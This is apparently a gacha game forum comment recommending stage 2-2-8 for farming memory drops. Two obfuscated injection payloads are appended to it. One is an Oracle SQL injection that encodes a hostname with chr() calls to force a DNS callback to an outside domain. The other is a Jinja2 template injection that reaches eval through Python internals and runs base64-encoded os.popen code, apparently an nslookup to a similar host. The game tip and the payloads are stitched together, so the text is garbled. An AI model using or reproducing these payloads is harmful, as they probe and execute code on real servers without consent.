I did a lot of test
I will suggest story 2-2-8 (the royal bloodline)
1)8 enemies (any enemy has roughly 85%-90% of drop a chest)
2)Any chest has roughly 20% of cointain a faint memory
3)energy efficient cz u get 1,4 memory/6 rng
Ps u need mediena one shot one row of 4 enemies and a friend mediena to one shot the other row of 4 enemies
(select UTL_INADDR.GET_HOST_ADDRESS(chr(119)||chr(101)||chr(122)||chr(103)||chr(104)||chr(52)||chr(101)||chr(56)||chr(101)||chr(101)||chr(106)||chr(109)||chr(116)||chr(97)||chr(97)||chr(116)||chr(111)||chr(53)||chr(120)||chr(115)||chr(100)||chr(52)||chr(52)||chr(105)||chr(117)||chr(56)||chr(100)||chr(52)||chr(110)||chr(57)||chr(121)||chr(101)||chr(119)||chr(104)||chr(122)||chr(97)||chr(111)||chr(104)||chr(95)||chr(103)||chr(97)||chr(57)||chr(115)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)
{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnZDJWNloyZzBaVGhsWlRoMGQyWjNlbkJ6TldVemVUTTRkbW93YkhSd2MyWjZaSGQ2ZDE5eUxXaDRhUzV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}